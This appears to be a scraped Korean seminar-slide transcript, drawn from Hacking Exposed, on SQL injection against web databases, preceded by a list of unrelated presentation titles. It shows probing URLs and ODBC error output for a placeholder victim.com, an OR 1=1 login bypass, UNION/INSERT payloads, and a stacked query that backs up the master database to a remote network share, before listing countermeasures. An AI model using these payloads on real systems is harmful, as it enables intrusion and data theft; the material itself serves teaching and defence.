김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실

Slides:



Advertisements
Similar presentations
1 SQL 정보보호학과 양 계 탁. 2 SQL 개요 SQL 개요 3 Database u 연관된 데이터들의 집합 u 데이터를 쉽게 관리하는 프로그램 종 류종 류 관계형 데이터베이스 객체지향형 데이터베이스 계층형 데이터베이스 네트워크 데이터베이스 데이터를 2 차원적인 테.
Advertisements

지하철택배보관함 서비스 제안서 서울시 중구 광희동 1 가 86-2 동대문운동장역 (5 호선 )B1 Tel : Fax : ㈜보스크.
서울혁신기획관 익명성과 인간소외 심화, 공동체 해체 … 시민의 행복지수와 삶의 질 하락 … 2 I. 왜 … 마을공동체인가 ! 1.
2013 년 조사연구위원회 위촉식 및 활동 설명회 2013 년 조사연구위원회 위촉식 및 활동 설명회
윈포스 설치 매뉴얼 포스소프트 전화 : 053) 팩스 : 053)
1월 월간업무보고 경 리 부.
제6장. 현금예금, 대여금, 차입금 대구대학교 회계세무학부 이장형 교수.
목 차 I 퇴직연금의 필요성 II 퇴직급여제도 종류 퇴직연금제도 도입배경 III IV 과학기술인 퇴직연금 개요 V
홍보출판 위원회 출판국 2010년 사역 계획서 발표자 : 출판국 국장 / 박수만권사 일시: 2010년 01월 17일(일) 1.
DB Injection과 대응방안 nwkim.
웹 프로그래밍 HTML, 자바스크립트, ASP를 중심으로
역대 정부개편의 교훈과 새로운 정부조직개편의 방향
소리가 작으면 이어폰 사용 권장!.
데이터베이스 시스템.
김종찬 김정석 이상미 임성규 담당 교수님 최병수 교수님
소프트웨어시스템설계(6주) 데이터베이스 연동
체위변경과 이동 요양보호 강사 : 이윤희.
질의어와 SQL 기본 SQL 고급 SQL 데이타의 수정 데이타 정의 언어 내장 SQL
C#에서 데이터베이스 연동 방법.
Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS
4장. 관계 대수와 SQL SQL 관계 데이터 모델에서 지원되는 두 가지 정형적인 언어
Chapter 05 SQL 인젝션 공격.
SQL 개요 SQL 개요 - SQL은 현재 DBMS 시장에서 관계 DBMS가 압도적인 우위를 차지하는 데 중요한 요인의 하나
17장. 데이터를 안전하게 보관하자. (백업, 복원, 스냅숏)
DB와 WEB 연동(1) [2-Tier] Java Applet 이용
Toad for Oracle 설치 방법.
김승겸 한남대학교 컴퓨터공학과 인공지능 실험실
데이터베이스 와 JDBC 1.데이터베이스와 데이터베이스 관리 시스템은? 2.데이터베이스 장점?
11장. 데이터베이스 서버 구축과 운영.
ASP 정 보 보 호 학 과 양 계 탁.
2007. Database Term Project Team 2 윤형석, 김희용, 최현대 우경남, 이상제
박 명 호 한남대학교 컴퓨터공학과 인공지능 실험실
트랜잭션과 잠금 트랜잭션 처리 메커니즘을 자세히 이해한다. 트랜잭션의 종류를 파악한다.
구글해킹과 SQL인젝션 지창훈, 최연우.
ㅎㅎ MS-SQL서버 2000과 XML MS-SQL 서버 2000과 XML 활용 HTTP를 이용한 XML 데이터 접근
Chapter 05 데이터베이스 프로그래밍.
게시판이용자의 본인확인 - 제한적 본인확인제
인터넷 보안 정보 보안 개론 5장.
SQL Server 2000 세미나 Profiler를 이용한 문제해결
차례 튜닝 - 프로필러를 이용한 튜닝 프로필러 친해지기 프로필러 결과 테이블로 만들기 프로필러 결과 분석하기
ASP를 이용한 전자상거래 사이트 구축 지도교수님: 이형원 컴퓨터응용과학부 박정선.
웹서버와 설치에 필요한 것 WWW ( world wide web ) TCP/IP 프로토콜을 이용하는 클라이언트/서버 환경
지역맞춤형 일자리창출 사업 기관 평가
Right Now 담당 교수 : 문양세 교수님 팀 원 : 김원모(팀장) 우덕령, 김승선, 김종원, 문경민
강사: 이종인 다우 교육원 전임강사 / 온디멘드 수석 컨설턴트 / FMG 수석 컨설턴트
JDBC (Java Database Connectivity)
문양세 (1st version: 문성우) (revised by 손시운)
2009-2학기 프로젝트 수업 프로젝트 II, IV, VII 학기.
BIZSIREN 실명확인서비스 개발 가이드 서울신용평가정보㈜ 신용조회부 (TEL , FAX )
DataBase 연결 및 사용방법
Web Vulnerabilities 정보 보호 2008/05/31 Getroot.
SQL Query in the SSMS : DB, Table
II. XML과 Database 연동 [Beginning XML, 제13장]
대촌중 최영미.
물류단지 총량제 폐지 이후 물류시설 공급정책 방향 국 토 교 통 부.
롯데면세점 BI 구축에서 SQL Server Reporting Services 적용 사례
신 윤 호 ㈜엘림에듀 초등사업본부장, 중앙대학교 체육학박사
Part 5. MS-SQL Server Basic
ERP 솔루션 목차 회사소개 사업분야 솔루션 소개.
3장. SQL Server 2008전체 운영 실습 및 DB와 프로그램의 연동
지방공무원 임용시험 위탁 및 공동추진 충청북도교육청 (목) 총무과 교육행정 6급 안 병 대
SQL INJECTION MADE BY 김 현중.
타워크레인 설치 · 해체시 작업안전 한국산업안전공단.
뇌를 자극하는 Windows Server 장. 데이터베이스 서버.
존 듀이의 경험교육론에 기초한 초등학교 체험활동 특징에 관한 연구
양초 한 자루의 과학 과학영재교육 전공 김 연 주 류 은 희 이 상 희.
Stored program 장종원
2019년 헤럴드경제 자본시장대상(안) 2019년 3월 헤럴드경제 IB금융섹션.
국제금융의 이해 I. 경제와 금융 II. 국제금융과 무역 III. 글로벌화와 국제금융 IV. 국제금융의 형태
강사: 이종인 다우 교육원 전임강사 / 온디멘드 수석 컨설턴트 / FMG 수석 컨설턴트
Presentation transcript:

김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실 [Hacking Exposed] 웹 기획. 운영자를 위한 해킹과 보안중에서 9장. 웹 데이터베이스 공격 김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실

목차 개요 Part I : SQL 입문 Part II : SQL 주입 Part III : 요약 Part IV : 참고 문헌 Part VII : Q & A

개요

개요 웹 사이트의 데이터를 제공하는 데이터베이스 웹 저널, 실시간 정보, 상품의 카타로그 등 사용자는 front-end 만 접근하고 데이터베이스에 접근 불가 웹에서 변수를 이용하여(username) 데이터베이스 동작에 영향을 미치는 특별한 명령

Part I : SQL 입문

SQL 입문 웹 서버와 데이터베이스의 상호작용 웹 서버는 데이터베이스와 직접 통신이 불가 데이터베이스 서버는 SQL만을 인식 웹 어플리케이션을 이용하여 데이터베이스에 질의 웹 어플리케이션과 데이터베이스사이의 인터페이스 이용 Login page Username : Password : Web app Database client server Response Request connector Username, Password 수집 Query 일치여부 확인 SQL Http

Part II : SQL 주입

SQL 주입 SQL에 익스플로잇 주입 익스플로잇(exploit) SQL 삽입 문제의 원인 무해한 에러 발생문자 명령어 라인 실행(.sh , .c, .pl) SQL 에 주입하여 사용 ASP, PHP, Perl 기타 웹 언어가 사용된 프로그램 인터페이스를 지원 대부분의 데이터베이스 벤더 제품이 적용 가능 SQL 삽입 문제의 원인 변수의 경계를 지정하기위한 단일 인용 부호(‘) strSQL = “ SELECT userid FROM users WHERE password = ‘ “+password+” ‘ “;

SQL 주입 SQL 삽입 시험 어플리케이션의 취약점을 찾기 위한 문자 및 SQL 형식 설명 SQL 형식 문자 와일드 카드 % 변수 할당 SET ODBC 에러 반환 PRINT 내부 서버 변수 @@variable “Param=foo, bar” 생성 ?Param1=foo&Param1=bar 변수 붙임 ,@variable 공간 + 단일 라인 주석 ---- 구문 종료 ‘

SQL 주입 ODBC (Open database connectivity )살펴보기 ODBC 데이터베이스가 이해할 수 있는 형태로 변환시켜 질의어의 처리를 지원해 주는 인터페이스 데이터 소스에 접근, 질의어 실행 결과 반환 오류 처리 SQL의 질의 구조 파악 및 구문 파괴를 위한 방법 익스플로잇을 이용한 의도적인 에러 발생 ODBC 에러 메시지 분석

SQL 주입 ODBC 에러 메시지 분석위한 에러 발생 방법 예제 테스트 웹 사이트 닫히지 않은 단일 인용 부호 삽입 단일 라인 주석 삽입 스페이스(+) 삽입 변수값 변경 다중 파라미터 전송 내부 서버 변수 삽입 PRINT명령 삽입 예제 테스트 웹 사이트 http://www.victim.com/*. asp

SQL 주입 닫히지 않은 인용부호 삽입 Parameter 목록이 아닌 내장 프로시저 정보 UserID 및 필드 이름 정보 추출 내장 프로시저 식별 http://www.victim.com/siteAdmin.asp?SiteID=12’ . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Unclosed quotation mark Before the character string ‘,@UserID=182’. /siteAdmin.asp, line 7

SQL 주입 단일 라인 주석 삽입 SQL로 하여금 나머지 부분을 주석으로 처리함 getAdminHome1라는 내장 프로시저로 전달 되는 것을 확인 http://www.victim.com/siteAdmin.asp?SiteID=12- - . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Procedure ‘getAdminHome1’ Expects parameter ‘@UserID’, Which was not supplied. /SiteAdmin.asp, line 7

SQL 주입 스페이스(+) 삽입 UserID 변경 . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14). [Microsoft][ODBC SQL Server Driver][SQL server] Must declare the varible ‘@UserID’ . http://www.victim.com/siteAdmin.asp?SiteID=12, @UserID=180 . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Procedure or Function getAdminHome1 has too many arguments specified. /siteAdmin.asp, line 7

SQL 주입 다중 파라미터 전송 ASP는 SiteID=12, 12 와 같이 인자를 받음 내장 프로시저 @name=12, 12 http://www.victim.com/siteAdmin.asp?SiteID=12&SiteID=12 . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Must pass parameter Number 2 and subsequent parameters as ‘@name=value’. After the form ‘@name=value’ has bean used, all subsequent parameters must be passed In the form ‘@name=value’. /SiteAdmin.asp, line 7 @name=12, 12

SQL 주입 PRINT 명령 삽입 PRINT 명령에 의하여 발생된 에러 철자 오류에 의한 에러 http://www.victim.com/siteAdmin.asp?SiteID=12+PRIN . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax Near ‘PRIN’. http://www.victim.com/siteAdmin.asp?SiteID=12+PRINT Near ‘ , ’.

SQL 주입 내부 서버 변수 삽입 유효한 변수 확인 방법 . . . 확실히 존재하지 않은 변수 삽입 확실히 존재하는 변수 삽입 http://www.victim.com/siteAdmin.asp?SiteID=12+PRINT+@@Abulafia . . . Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Must declare the Variable ‘@@Abulafia’, http://www.victim.com/siteAdmin.asp?SiteID=12+PRINT+@@ServerName . . .

SQL 주입 다른 컬럼으로부터 데이터를 선택하도록 시도 Post 방식 아킬레스 이용 Send=1&hidSearchType=1&selTextField=L_Name&txtSearchValue=zombie http://www.victim.com/PageSearch.asp POST: Send=1&hidSearchType=1&selTextField=UserID&txtSearchValue=zombie Microsoft OLE DB Provider for ODBC Driver (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Invalid column name ‘UserID’. /includes/subWriteActionTable.inc, line 51

SQL 주입 전체 데이터베이스 백업 시도 낮은 권한 계정 POST: Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security &txtPwd=Security00’ ;backup+database+master+to+disk= ‘\\172.16.172.116\share\bak.dat ‘ ‘ Microsoft OLE DB Provider for ODBC Driver (0x80004005) [Microsoft][ODBC SQL Server Driver][SQL Server] BACKUP DATABASE permission Denied in database ‘master’.

SQL 주입 여러 문자의 동시 삽입 http://www.victim.com/DataList.asp?Page=-1&PageName=(@@ServerName)- - http://www.victim.com/Error.asp?log=True&ec=4&en=- 2147217900&ed=Could+not+find+stored+procedure+%27VENONASQLA12%27%2E& es=Microsoft+OLE+DB+Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP ed=Could not find stored procedure ‘ VENONASQLA12 ‘.

SQL 주입 중복 값의 입력

SQL 주입 MS SQL 서버 기술 MS SQL 서버 4개의 데이터베이스로 구성 Master Model Msdb Tempdb 모든 로그인 계정, 구성 설정, 초기화 정보등을 관리 내부변수, 내장 프로시저, 확장된 내장 프로시저 등이 데이터베이스로 부터 호출 Model 새로운 데이터베이스 템플릿 제공 Msdb 예약 작업을 위한 SQL Server Agent를 지원 Tempdb 모든 작업에 대한 임의 저장소로 사용 Pubs 샘플 데이터베이스

SQL 주입 Master 데이터베이스에 접근 및 질의 데이터베이스 구성, 웹 어플리케이션의 데이터베이스, 테이블, 윈도우 환경을 파악 내부변수(@@ *) : @@microsoftversion, @@servicename 등 내장 프로시저(sp_*) : sp_columns<table>, sp_configure[name] 등 확장된 내장 프로시저(xp_*) : xp_lognconfig, xp_msver 등 시스템 테이블 객체 : syscolumns, sysobjects 등

SQL 주입 일반적인 SQL 기술 SQL 오퍼레이터 SQL 공격 테이블로부터 데이터를 선택하고자 할 경우 OR 1=1 미리 정의된 키워드(SELECT, FROM, WHERE 등) SQL 공격 OR 1=1 sqlAuth=“SELECT userid FROM logins WHERE name=‘ ” & Username & “ ‘ AND password= ‘ ” & Password & “ ‘ “ SELECT userid FROM logins WHERE name=‘Wayne’ AND password= ‘Pirate‘ SELECT userid FROM logins WHERE name=‘Wayne’ AND password= ‘Pirate‘ OR 1=1

SQL 주입 UNION INSERT UNION ALL SELECT field FROM table WHERE condition INSERT INTO Users VALUES(‘neo’, “trinity’)

SQL 주입 SQL 질의에서의 문제점

SQL 주입 일반적인 대응 방법 에러처리 강화 파라미터 목록 내장 프로시저 최소 권한으로 운영 스키마 보호 예외 처리 방식(try, catch, finally)를 사용 파라미터 목록 사용자 정의 데이터의 사용 내장 프로시저 사용자 정의 내장 프로시저의 사용 최소 권한으로 운영 특성에 맞는 최소 권한 상태에서 어플리케이션의 운영 스키마 보호 테이블의 이름, 컬럼 이름 등 SQL 구조를 숨김(주석문)

Part III : 요약

요약 성공적인 SQL 삽입 방법 입력 확인 기법을 통하여 어플리케이션에 데이터베이스 에러 발생

Part VI : 참고문헌

참고 문헌 SQL 삽입공격 http://www.microsoft.com/korea/msdn/library/dnnetsec/html/SecNetch12.asp#sqlinjectionattacks ASP 프로그래밍 ASP 프로그램밍 송태섭, 천희식 공저 정익사

Part VII : Q & A

참고 예제 웹 사이트 소스